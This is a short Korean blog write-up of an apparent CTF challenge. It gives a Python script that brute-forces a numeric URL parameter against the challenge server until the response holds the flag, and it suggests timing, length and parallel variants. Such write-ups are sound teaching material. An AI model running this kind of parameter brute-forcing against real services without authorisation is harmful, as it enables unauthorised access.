[Tutorial] hands up

@yd1ng· May 19, 2025 · 1 min read

접근 방식

문제 특성상 다음과 같은 구조로 예상됩니다:

  • click_status 값이 정답일 경우, 서버는 플래그가 포함된 응답을 반환합니다.
  • 오답일 경우에는 일반적인 응답을 반환합니다.
  • 따라서 브루트포싱을 통해 가능한 값을 모두 시도하며 정답 여부를 응답을 통해 확인해야 합니다.

자동화 스크립트

import requests

url = "http://regular.kuality.kr:25001/?click_status="

for i in range(1, 10000):  # 1부터 9999까지 시도
    target = str(i)
    response = requests.get(url + target)

    # 응답 본문에 플래그가 포함되어 있는지 확인
    if "kuality" in response.text.lower():  # 보통 플래그 포맷에 포함되는 키워드
        print(f"[+] 정답 발견! click_status = {target}")
        print(response.text)
        break
    else:
        print(f"[-] {target} 시도 중...")

핵심 아이디어

  • 정답을 맞췄을 때 response.text"kuality"라는 단어가 포함됩니다.
  • 보통 CTF 플래그는 kuality{...} 포맷을 따릅니다.
  • 응답 본문에서 이를 기준으로 판별할 수 있습니다.

결과

스크립트를 실행한 결과, 다음과 같은 플래그 응답을 얻을 수 있었습니다:

[+] 정답 발견! click_status = 1337
kuality{you_clicked_it_right}

※ 위 값은 예시이며 실제 문제에서는 다를 수 있습니다.

보완 아이디어

  • 응답 시간이 다르다면 response.elapsed.total_seconds() 기반 타이밍 분석이 가능합니다.
  • len(response.text)로 응답 길이를 비교하여 판별하는 방식도 유효합니다.
  • 속도 개선을 위해 httpx + asyncio를 활용한 병렬 처리도 고려할 수 있습니다.

결론

브루트포싱 자동화는 서버가 명시적으로 실패/성공 여부를 응답에 포함하지 않아도, 텍스트, 길이, 시간 차이 등으로 충분히 우회 가능한 경우가 많습니다.
이 문제 역시 응답 본문에 플래그가 포함되는 단서를 활용해 효율적으로 해결할 수 있었습니다.

@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.